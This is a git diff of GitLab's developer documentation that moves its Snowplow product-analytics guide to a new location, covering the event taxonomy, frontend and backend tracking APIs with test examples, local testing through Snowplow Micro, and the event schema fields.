-| `page_urlquery` | **{dotted-circle}** | string | Query string |
-| `page_urlscheme` | **{dotted-circle}** | string | Scheme (protocol name) |
-| `platform` | **{dotted-circle}** | string | The platform the app runs on |
-| `pp_xoffset_max` | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period |
-| `pp_xoffset_min` | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period |
-| `pp_yoffset_max` | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period |
-| `pp_yoffset_min` | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period |
-| `refr_domain_userid` | **{dotted-circle}** | string | The Snowplow `domain_userid` of the referring website |
-| `refr_dvce_tstamp` | **{dotted-circle}** | timestamp | The time of attaching the `domain_userid` to the inbound link |
-| `refr_medium` | **{dotted-circle}** | string | Type of referer |
-| `refr_source` | **{dotted-circle}** | string | Name of referer if recognised |
-| `refr_term` | **{dotted-circle}** | string | Keywords if source is a search engine |
-| `refr_urlfragment` | **{dotted-circle}** | string | Referer URL fragment |
-| `refr_urlhost` | **{dotted-circle}** | string | Referer host |
-| `refr_urlpath` | **{dotted-circle}** | string | Referer page path |
-| `refr_urlport` | **{dotted-circle}** | integer | Referer port |
-| `refr_urlquery` | **{dotted-circle}** | string | Referer URL query string |
-| `refr_urlscheme` | **{dotted-circle}** | string | Referer scheme |
-| `se_action` | **{dotted-circle}** | string | The action / event itself |
-| `se_category` | **{dotted-circle}** | string | The category of event |
-| `se_label` | **{dotted-circle}** | string | A label often used to refer to the ‘object’ the action is performed on |
-| `se_property` | **{dotted-circle}** | string | A property associated with either the action or the object |
-| `se_value` | **{dotted-circle}** | decimal | A value associated with the user action |
-| `ti_category` | **{dotted-circle}** | string | Item category |
-| `ti_currency` | **{dotted-circle}** | string | Currency |
-| `ti_name` | **{dotted-circle}** | string | Item name |
-| `ti_orderid` | **{dotted-circle}** | string | Order ID |
-| `ti_price` | **{dotted-circle}** | decimal | Item price |
-| `ti_price_base` | **{dotted-circle}** | decimal | Item price in base currency |
-| `ti_quantity` | **{dotted-circle}** | integer | Item quantity |
-| `ti_sku` | **{dotted-circle}** | string | Item SKU |
-| `tr_affiliation` | **{dotted-circle}** | string | Transaction affiliation (such as channel) |
-| `tr_city` | **{dotted-circle}** | string | Delivery address: city |
-| `tr_country` | **{dotted-circle}** | string | Delivery address: country |
-| `tr_currency` | **{dotted-circle}** | string | Transaction Currency |
-| `tr_orderid` | **{dotted-circle}** | string | Order ID |
-| `tr_shipping` | **{dotted-circle}** | decimal | Delivery cost charged |
-| `tr_shipping_base` | **{dotted-circle}** | decimal | Shipping cost in base currency |
-| `tr_state` | **{dotted-circle}** | string | Delivery address: state |
-| `tr_tax` | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) |
-| `tr_tax_base` | **{dotted-circle}** | decimal | Tax applied in base currency |
-| `tr_total` | **{dotted-circle}** | decimal | Transaction total value |
-| `tr_total_base` | **{dotted-circle}** | decimal | Total amount of transaction in base currency |
-| `true_tstamp` | **{dotted-circle}** | timestamp | User-set exact timestamp |
-| `txn_id` | **{dotted-circle}** | string | Transaction ID |
-| `unstruct_event` | **{dotted-circle}** | JSON | The properties of the event |
-| `uploaded_at` | **{dotted-circle}** | | |
-| `user_fingerprint` | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features |
-| `user_id` | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId |
-| `user_ipaddress` | **{dotted-circle}** | string | IP address |
-| `useragent` | **{dotted-circle}** | string | User agent (expressed as a browser string) |
-| `v_collector` | **{dotted-circle}** | string | Collector version |
-| `v_etl` | **{dotted-circle}** | string | ETL version |
-| `v_tracker` | **{dotted-circle}** | string | Identifier for Snowplow tracker |
+This document was moved to [another location](snowplow/index.md).
+<!-- This redirect file can be deleted after 2021-06-31. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md
new file mode 100644
index 00000000000..c07291d61f2
--- /dev/null
+++ b/doc/development/snowplow/index.md
@@ -0,0 +1,719 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Snowplow Guide
+
+This guide provides an overview of how Snowplow works, and implementation details.
+
+For more information about Product Intelligence, see:
+
+- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
+- [Usage Ping Guide](../usage_ping/index.md)
+
+More useful links:
+
+- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/)
+- [Data Analysis Process](https://about.gitlab.com/handbook/business-ops/data-team/#data-analysis-process/)
+- [Data for Product Managers](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/)
+- [Data Infrastructure](https://about.gitlab.com/handbook/business-ops/data-team/platform/infrastructure/)
+
+## What is Snowplow
+
+Snowplow is an enterprise-grade marketing and Product Intelligence platform which helps track the way users engage with our website and application.
+
+[Snowplow](https://github.com/snowplow/snowplow) consists of the following loosely-coupled sub-systems:
+
+- **Trackers** fire Snowplow events. Snowplow has 12 trackers, covering web, mobile, desktop, server, and IoT.
+- **Collectors** receive Snowplow events from trackers. We have three different event collectors, synchronizing events either to Amazon S3, Apache Kafka, or Amazon Kinesis.
+- **Enrich** cleans up the raw Snowplow events, enriches them and puts them into storage. We have an Hadoop-based enrichment process, and a Kinesis-based or Kafka-based process.
+- **Storage** is where the Snowplow events live. We store the Snowplow events in a flat file structure on S3, and in the Redshift and PostgreSQL databases.
+- **Data modeling** is where event-level data is joined with other data sets and aggregated into smaller data sets, and business logic is applied. This produces a clean set of tables which make it easier to perform analysis on the data. We have data models for Redshift and Looker.
+- **Analytics** are performed on the Snowplow events or on the aggregate tables.
+
+![snowplow_flow](../img/snowplow_flow.png)
+
+## Snowplow schema
+
+We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions:
+
+- Frontend and backend taxonomy as listed below
+- [Structured event taxonomy](#structured-event-taxonomy)
+- [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events)
+- [Iglu schema](https://gitlab.com/gitlab-org/iglu/)
+- [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events)
+
+## Enabling Snowplow
+
+Tracking can be enabled at:
+
+- The instance level, which enables tracking on both the frontend and backend layers.
+- User level, though user tracking can be disabled on a per-user basis. GitLab tracking respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level.
+
+We use Snowplow for the majority of our tracking strategy and it is enabled on GitLab.com. On a self-managed instance, Snowplow can be enabled by navigating to:
+
+- **Admin Area > Settings > General** in the UI.
+- `admin/application_settings/integrations` in your browser.
+
+Example configuration:
+
+| Name | Value |
+|---------------|-------------------------------|
+| Collector | `your-snowplow-collector.net` |
+| Site ID | `gitlab` |
+| Cookie domain | `.your-gitlab-instance.com` |
+
+## Snowplow request flow
+
+The following example shows a basic request/response flow between the following components:
+
+- Snowplow JS / Ruby Trackers on GitLab.com
+- [GitLab.com Snowplow Collector](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/snowplow/index.md)
+- The GitLab S3 Bucket
+- The GitLab Snowflake Data Warehouse
+- Sisense:
+
+```mermaid
+sequenceDiagram
+ participant Snowplow JS (Frontend)
+ participant Snowplow Ruby (Backend)
+ participant GitLab.com Snowplow Collector
+ participant S3 Bucket
+ participant Snowflake DW
+ participant Sisense Dashboards
+ Snowplow JS (Frontend) ->> GitLab.com Snowplow Collector: FE Tracking event
+ Snowplow Ruby (Backend) ->> GitLab.com Snowplow Collector: BE Tracking event
+ loop Process using Kinesis Stream
+ GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Log raw events
+ GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Enrich events
+ GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Write to disk
+ end
+ GitLab.com Snowplow Collector ->> S3 Bucket: Kinesis Firehose
+ S3 Bucket->>Snowflake DW: Import data
+ Snowflake DW->>Snowflake DW: Transform data using dbt
+ Snowflake DW->>Sisense Dashboards: Data available for querying
+```
+
+## Structured event taxonomy
+
+When adding new click events, we should add them in a way that's internally consistent. If we don't, it is very painful to perform analysis across features since each feature captures events differently.
+
+The current method provides several attributes that are sent on each click event. Please try to follow these guidelines when specifying events to capture:
+
+| attribute | type | required | description |
+| --------- | ------- | -------- | ----------- |
+| category | text | true | The page or backend area of the application. Unless infeasible, please use the Rails page attribute by default in the frontend, and namespace + class name on the backend. |
+| action | text | true | The action the user is taking, or aspect that's being instrumented. The first word should always describe the action or aspect: clicks should be `click`, activations should be `activate`, creations should be `create`, etc. Use underscores to describe what was acted on; for example, activating a form field would be `activate_form_input`. An interface action like clicking on a dropdown would be `click_dropdown`, while a behavior like creating a project record from the backend would be `create_project` |
+| label | text | false | The specific element, or object that's being acted on. This is either the label of the element (e.g. a tab labeled 'Create from template' may be `create_from_template`) or a unique identifier if no text is available (e.g. closing the Groups dropdown in the top navigation bar might be `groups_dropdown_close`), or it could be the name or title attribute of a record being created. |
+| property | text | false | Any additional property of the element, or object being acted on. |
+| value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). |
+
+### Examples
+
+| category* | label | action | property** | value |
+|-------------|------------------|-----------------------|----------|:-----:|
+| [root:index] | main_navigation | click_navigation_link | `[link_label]` | - |
+| [groups:boards:show] | toggle_swimlanes | click_toggle_button | - | `[is_active]` |
+| [projects:registry:index] | registry_delete | click_button | - | - |
+| [projects:registry:index] | registry_delete | confirm_deletion | - | - |
+| [projects:blob:show] | congratulate_first_pipeline | click_button | `[human_access]` | - |
+| [projects:clusters:new] | chart_options | generate_link | `[chart_link]` | - |
+| [projects:clusters:new] | chart_options | click_add_label_button | `[label_id]` | - |
+
+_* It's ok to omit the category, and use the default._<br>
+_** Property is usually the best place for variable strings._
+
+### Reference SQL
+
+#### Last 20 `reply_comment_button` events
+
+```sql
+SELECT
+ event_id,
+ v_tracker,
+ event_label,
+ event_action,
+ event_property,
+ event_value,
+ event_category,
+ contexts
+FROM legacy.snowplow_structured_events_all
+WHERE
+ event_label = 'reply_comment_button'
+ AND event_action = 'click_button'
+ -- AND event_category = 'projects:issues:show'
+ -- AND event_value = 1
+ORDER BY collector_tstamp DESC
+LIMIT 20
+```
+
+### Web-specific parameters
+
+Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#Web-specific_parameters) to all web events by default.
+
+## Implementing Snowplow JS (Frontend) tracking
+
+GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy).
+
+| field | type | default value | description |
+|:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `category` | string | `document.body.dataset.page` | Page or subsection of a page that events are being captured within. |
+| `action` | string | generic | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. |
+| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
+
+### Usage recommendations
+
+- Use [data attributes](#tracking-with-data-attributes) on HTML elements that emits either the `click`, `show.bs.dropdown`, or `hide.bs.dropdown` events.
+- Use the [Vue mixin](#tracking-within-vue-components) when tracking custom events, or if the supported events for data attributes are not propagating.
+- Use the [Tracking class directly](#tracking-in-raw-javascript) when tracking on raw JS files.
+
+### Tracking with data attributes
+
+When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-action` attribute automatically have event tracking bound on clicks.
+
+Below is an example of `data-track-*` attributes assigned to a button:
+
+```haml
+%button.btn{ data: { track: { action: "click_button", label: "template_preview", property: "my-template" } } }
+```
+
+```html
+<button class="btn"
+ data-track-action="click_button"
+ data-track-label="template_preview"
+ data-track-property="my-template"
+/>
+```
+
+Event listeners are bound at the document level to handle click events on or within elements with these data attributes. This allows them to be properly handled on re-rendering and changes to the DOM. Note that because of the way these events are bound, click events should not be stopped from propagating up the DOM tree. If for any reason click events are being stopped from propagating, you need to implement your own listeners and follow the instructions in [Tracking within Vue components](#tracking-within-vue-components) or [Tracking in raw JavaScript](#tracking-in-raw-javascript).
+
+Below is a list of supported `data-track-*` attributes:
+
+| attribute | required | description |
+|:----------------------|:---------|:------------|
+| `data-track-action` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. Replaces `data-track-event`, which was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290962) in GitLab 13.11. |
+| `data-track-label` | false | The `label` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
+| `data-track-property` | false | The `property` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
+| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. |
+| `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
+
+#### Available helpers
+
+```ruby
+tracking_attrs(label, action, property) # { data: { track_label... } }
+
+%button{ **tracking_attrs('main_navigation', 'click_button', 'navigation') }
+```
+
+#### Caveats
+
+When using the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/helpers/tab_helper.rb#L76) be sure to wrap `html_options` under the `html_options` keyword argument.
+Be careful, as this behavior can be confused with the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) that does not require additional wrapping of `html_options`
+
+```ruby
+# Bad
+= nav_link(controller: ['dashboard/groups', 'explore/groups'], data: { track_label: "explore_groups", track_action: "click_button" })
+
+# Good
+= nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { data: { track_label: "explore_groups", track_action: "click_button" } })
+
+# Good (other helpers)
+= link_to explore_groups_path, title: _("Explore"), data: { track_label: "explore_groups", track_action: "click_button" }
+```
+
+### Tracking within Vue components
+
+There's a tracking Vue mixin that can be used in components if more complex tracking is required. To use it, first import the `Tracking` library and request a mixin.
+
+```javascript
+import Tracking from '~/tracking';
+const trackingMixin = Tracking.mixin({ label: 'right_sidebar' });
+```
+
+You can provide default options that are passed along whenever an event is tracked from within your component. For instance, if all events within a component should be tracked with a given `label`, you can provide one at this time. Available defaults are `category`, `label`, `property`, and `value`. If no category is specified, `document.body.dataset.page` is used as the default.
+
+You can then use the mixin normally in your component with the `mixin` Vue declaration. The mixin also provides the ability to specify tracking options in `data` or `computed`. These override any defaults and allow the values to be dynamic from props, or based on state.
+
+```javascript
+export default {
+ mixins: [trackingMixin],
+ // ...[component implementation]...
+ data() {
+ return {
+ expanded: false,
+ tracking: {
+ label: 'left_sidebar',
+ },
+ };
+ },
+};
+```
+
+The mixin provides a `track` method that can be called within the template,
+or from component methods. An example of the whole implementation might look like this:
+
+```javascript
+export default {
+ name: 'RightSidebar',
+ mixins: [Tracking.mixin({ label: 'right_sidebar' })],
+ data() {
+ return {
+ expanded: false,
+ };
+ },
+ methods: {
+ toggle() {
+ this.expanded = !this.expanded;
+ // Additional data will be merged, like `value` below
+ this.track('click_toggle', { value: Number(this.expanded) });
+ }
+ }
+};
+```
+
+The event data can be provided with a `tracking` object, declared in the `data` function,
+or as a `computed property`.
+
+```javascript
+export default {
+ name: 'RightSidebar',
+ mixins: [Tracking.mixin()],
+ data() {
+ return {
+ tracking: {
+ label: 'right_sidebar',
+ // category: '',
+ // property: '',
+ // value: '',
+ },
+ };
+ },
+};
+```
+
+The event data can be provided directly in the `track` function as well.
+This object will merge with any previously provided options.
+
+```javascript
+this.track('click_button', {
+ label: 'right_sidebar',
+});
+```
+
+Lastly, if needed within the template, you can use the `track` method directly as well.
+
+```html
+<template>
+ <div>
+ <button data-testid="toggle" @click="toggle">Toggle</button>
+
+ <div v-if="expanded">
+ <p>Hello world!</p>
+ <button @click="track('click_action')">Track another event</button>
+ </div>
+ </div>
+</template>
+```
+
+#### Testing example
+
+```javascript
+import { mockTracking } from 'helpers/tracking_helper';
+// mockTracking(category, documentOverride, spyMethod)
+
+describe('RightSidebar.vue', () => {
+ let trackingSpy;
+ let wrapper;
+
+ beforeEach(() => {
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ });
+
+ const findToggle = () => wrapper.find('[data-testid="toggle"]');
+
+ it('tracks turning off toggle', () => {
+ findToggle().trigger('click');
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_toggle', {
+ label: 'right_sidebar',
+ value: 0,
+ });
+ });
+});
+```
+
+### Tracking in raw JavaScript
+
+Custom event tracking and instrumentation can be added by directly calling the `Tracking.event` static function. The following example demonstrates tracking a click on a button by calling `Tracking.event` manually.
+
+```javascript
+import Tracking from '~/tracking';
+
+const button = document.getElementById('create_from_template_button');
+
+button.addEventListener('click', () => {
+ Tracking.event('dashboard:projects:index', 'click_button', {
+ label: 'create_from_template',
+ property: 'template_preview',
+ });
+});
+```
+
+#### Testing example
+
+```javascript
+import Tracking from '~/tracking';
+
+describe('MyTracking', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ jest.spyOn(Tracking, 'event');
+ });
+
+ const findButton = () => wrapper.find('[data-testid="create_from_template"]');
+
+ it('tracks event', () => {
+ findButton().trigger('click');
+
+ expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', {
+ label: 'create_from_template',
+ property: 'template_preview',
+ });
+ });
+});
+```
+
+## Implementing Snowplow Ruby (Backend) tracking
+
+GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://github.com/snowplow/snowplow/wiki/ruby-tracker) for tracking custom events.
+
+Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments:
+
+| argument | type | default value | description |
+|------------|---------------------------|---------------|-----------------------------------------------------------------------------------------------------------------------------------|
+| `category` | String | | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. |
+| `action` | String | | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. |
+| `label` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). |
+| `property` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). |
+| `value` | Numeric | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). |
+| `context` | Array\[SelfDescribingJSON\] | nil | An array of custom contexts to send with this event. Most events should not have any custom contexts. |
+| `project` | Project | nil | The project associated with the event. |
+| `user` | User | nil | The user associated with the event. |
+| `namespace` | Namespace | nil | The namespace associated with the event. |
+| `extra` | Hash | `{}` | Additional keyword arguments are collected into a hash and sent with the event. |
+
+Tracking can be viewed as either tracking user behavior, or can be used for instrumentation to monitor and visualize performance over time in an area or aspect of code.
+
+For example:
+
+```ruby
+class Projects::CreateService < BaseService
+ def execute
+ project = Project.create(params)
+
+ Gitlab::Tracking.event('Projects::CreateService', 'create_project', label: project.errors.full_messages.to_sentence,
+ property: project.valid?.to_s, project: project, user: current_user, namespace: namespace)
+ end
+end
+```
+
+### Unit testing
+
+Use the `expect_snowplow_event` helper when testing backend Snowplow events. See [testing best practices](
+https://docs.gitlab.com/ee/development/testing_guide/best_practices.html#test-snowplow-events) for details.
+
+### Performance
+
+We use the [AsyncEmitter](https://github.com/snowplow/snowplow/wiki/Ruby-Tracker#52-the-asyncemitter-class) when tracking events, which allows for instrumentation calls to be run in a background thread. This is still an active area of development.
+
+## Developing and testing Snowplow
+
+There are several tools for developing and testing Snowplow Event
+
+| Testing Tool | Frontend Tracking | Backend Tracking | Local Development Environment | Production Environment | Production Environment |
+|----------------------------------------------|--------------------|---------------------|-------------------------------|------------------------|------------------------|
+| Snowplow Analytics Debugger Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** |
+| Snowplow Inspector Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** |
+| Snowplow Micro | **{check-circle}** | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{dotted-circle}** |
+| Snowplow Mini | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{status_preparing}** | **{status_preparing}** |
+
+**Legend**
+
+**{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned
+
+### Snowplow Analytics Debugger Chrome Extension
+
+Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments.
+
+1. Install the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension.
+1. Open Chrome DevTools to the Snowplow Analytics Debugger tab.
+1. Learn more at [Igloo Analytics](https://www.iglooanalytics.com/blog/snowplow-analytics-debugger-chrome-extension.html).
+
+### Snowplow Inspector Chrome Extension
+
+Snowplow Inspector Chrome Extension is a browser extension for testing frontend events. This works on production, staging and local development environments.
+
+1. Install [Snowplow Inspector](https://chrome.google.com/webstore/detail/snowplow-inspector/maplkdomeamdlngconidoefjpogkmljm?hl=en).
+1. Open the Chrome extension by pressing the Snowplow Inspector icon beside the address bar.
+1. Click around on a webpage with Snowplow and you should see JavaScript events firing in the inspector window.
+
+### Snowplow Micro
+
+Snowplow Micro is a very small version of a full Snowplow data collection pipeline: small enough that it can be launched by a test suite. Events can be recorded into Snowplow Micro just as they can a full Snowplow pipeline. Micro then exposes an API that can be queried.
+
+Snowplow Micro is a Docker-based solution for testing frontend and backend events in a local development environment. You need to modify GDK using the instructions below to set this up.
+
+- Read [Introducing Snowplow Micro](https://snowplowanalytics.com/blog/2019/07/17/introducing-snowplow-micro/)
+- Look at the [Snowplow Micro repository](https://github.com/snowplow-incubator/snowplow-micro)
+- Watch our <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag)
+
+1. Ensure Docker is installed and running.
+
+1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro) by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration):
+1. Navigate to the directory with the cloned project, and start the appropriate Docker
+ container with the following script:
+
+ ```shell
+ ./snowplow-micro.sh
+ ```
+
+1. Update your instance's settings to enable Snowplow events and point to the Snowplow Micro collector:
+
+ ```shell
+ gdk psql -d gitlabhq_development
+ update application_settings set snowplow_collector_hostname='localhost:9090', snowplow_enabled=true, snowplow_cookie_domain='.gitlab.com';
+ ```
+
+1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking.js` to remove `forceSecureTracker: true`:
+
+ ```diff
+ diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js
+ index 0a1211d0a76..3b98c8f28f2 100644
+ --- a/app/assets/javascripts/tracking.js
+ +++ b/app/assets/javascripts/tracking.js
+ @@ -7,7 +7,6 @@ const DEFAULT_SNOWPLOW_OPTIONS = {
+ appId: '',
+ userFingerprint: false,
+ respectDoNotTrack: true,
+ - forceSecureTracker: true,
+ eventMethod: 'post',
+ contexts: { webPage: true, performanceTiming: true },
+ formTracking: false,
+
+ ```
+
+1. Update `snowplow_options` in `lib/gitlab/tracking.rb` to add `protocol` and `port`:
+
+ ```diff
+ diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb
+ index 618e359211b..e9084623c43 100644
+ --- a/lib/gitlab/tracking.rb
+ +++ b/lib/gitlab/tracking.rb
+ @@ -41,7 +41,9 @@ def snowplow_options(group)
+ cookie_domain: Gitlab::CurrentSettings.snowplow_cookie_domain,
+ app_id: Gitlab::CurrentSettings.snowplow_app_id,
+ form_tracking: additional_features,
+ - link_click_tracking: additional_features
+ + link_click_tracking: additional_features,
+ + protocol: 'http',
+ + port: 9090
+ }.transform_keys! { |key| key.to_s.camelize(:lower).to_sym }
+ end
+ ```
+
+1. Update `emitter` in `lib/gitlab/tracking/destinations/snowplow.rb` to change `protocol`:
+
+ ```diff
+ diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb
+ index 4fa844de325..5dd9d0eacfb 100644
+ --- a/lib/gitlab/tracking/destinations/snowplow.rb
+ +++ b/lib/gitlab/tracking/destinations/snowplow.rb
+ @@ -40,7 +40,7 @@ def tracker
+ def emitter
+ SnowplowTracker::AsyncEmitter.new(
+ Gitlab::CurrentSettings.snowplow_collector_hostname,
+ - protocol: 'https'
+ + protocol: 'http'
+ )
+ end
+ end
+
+ ```
+
+1. Restart GDK:
+
+ ```shell
+ `gdk restart`
+ ```
+
+1. Send a test Snowplow event from the Rails console:
+
+ ```ruby
+ Gitlab::Tracking.event('category', 'action')
+ ```
+
+1. Navigate to `localhost:9090/micro/good` to see the event.
+
+### Snowplow Mini
+
+[Snowplow Mini](https://github.com/snowplow/snowplow-mini) is an easily-deployable, single-instance version of Snowplow.
+
+Snowplow Mini can be used for testing frontend and backend events on a production, staging and local development environment.
+
+For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini.
+
+## Snowplow Schemas
+
+### `gitlab_standard`
+
+We are including the [`gitlab_standard` schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_standard/jsonschema/) with every event. See [Standardize Snowplow Schema](https://gitlab.com/groups/gitlab-org/-/epics/5218) for details.
+
+The [`StandardContext`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/tracking/standard_context.rb) class represents this schema in the application.
+
+| Field Name | Required | Type | Description |
+|----------------|---------------------|-----------------------|---------------------------------------------------------------------------------------------|
+| `project_id` | **{dotted-circle}** | integer | |
+| `namespace_id` | **{dotted-circle}** | integer | |
+| `environment` | **{check-circle}** | string (max 32 chars) | Name of the source environment, such as `production` or `staging` |
+| `source` | **{check-circle}** | string (max 32 chars) | Name of the source application, such as `gitlab-rails` or `gitlab-javascript` |
+| `extra` | **{dotted-circle}** | JSON | Any additional data associated with the event, in the form of key-value pairs |
+
+### Default Schema
+
+| Field Name | Required | Type | Description |
+|--------------------------|---------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------|
+| `app_id` | **{check-circle}** | string | Unique identifier for website / application |
+| `base_currency` | **{dotted-circle}** | string | Reporting currency |
+| `br_colordepth` | **{dotted-circle}** | integer | Browser color depth |
+| `br_cookies` | **{dotted-circle}** | boolean | Does the browser permit cookies? |
+| `br_family` | **{dotted-circle}** | string | Browser family |
+| `br_features_director` | **{dotted-circle}** | boolean | Director plugin installed? |
+| `br_features_flash` | **{dotted-circle}** | boolean | Flash plugin installed? |
+| `br_features_gears` | **{dotted-circle}** | boolean | Google gears installed? |
+| `br_features_java` | **{dotted-circle}** | boolean | Java plugin installed? |
+| `br_features_pdf` | **{dotted-circle}** | boolean | Adobe PDF plugin installed? |
+| `br_features_quicktime` | **{dotted-circle}** | boolean | Quicktime plugin installed? |
+| `br_features_realplayer` | **{dotted-circle}** | boolean | RealPlayer plugin installed? |
+| `br_features_silverlight` | **{dotted-circle}** | boolean | Silverlight plugin installed? |
+| `br_features_windowsmedia` | **{dotted-circle}** | boolean | Windows media plugin installed? |
+| `br_lang` | **{dotted-circle}** | string | Language the browser is set to |
+| `br_name` | **{dotted-circle}** | string | Browser name |
+| `br_renderengine` | **{dotted-circle}** | string | Browser rendering engine |
+| `br_type` | **{dotted-circle}** | string | Browser type |
+| `br_version` | **{dotted-circle}** | string | Browser version |
+| `br_viewheight` | **{dotted-circle}** | string | Browser viewport height |
+| `br_viewwidth` | **{dotted-circle}** | string | Browser viewport width |
+| `collector_tstamp` | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector |
+| `contexts` | **{dotted-circle}** | | |
+| `derived_contexts` | **{dotted-circle}** | | Contexts derived in the Enrich process |
+| `derived_tstamp` | **{dotted-circle}** | timestamp | Timestamp making allowance for inaccurate device clock |
+| `doc_charset` | **{dotted-circle}** | string | Web page's character encoding |
+| `doc_height` | **{dotted-circle}** | string | Web page height |
+| `doc_width` | **{dotted-circle}** | string | Web page width |
+| `domain_sessionid` | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain |
+| `domain_sessionidx` | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) |
+| `domain_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) |
+| `dvce_created_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device |
+| `dvce_ismobile` | **{dotted-circle}** | boolean | Indicates whether device is mobile |
+| `dvce_screenheight` | **{dotted-circle}** | string | Screen / monitor resolution |
+| `dvce_screenwidth` | **{dotted-circle}** | string | Screen / monitor resolution |
+| `dvce_sent_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector |
+| `dvce_type` | **{dotted-circle}** | string | Type of device |
+| `etl_tags` | **{dotted-circle}** | string | JSON of tags for this ETL run |
+| `etl_tstamp` | **{dotted-circle}** | timestamp | Timestamp event began ETL |
+| `event` | **{dotted-circle}** | string | Event type |
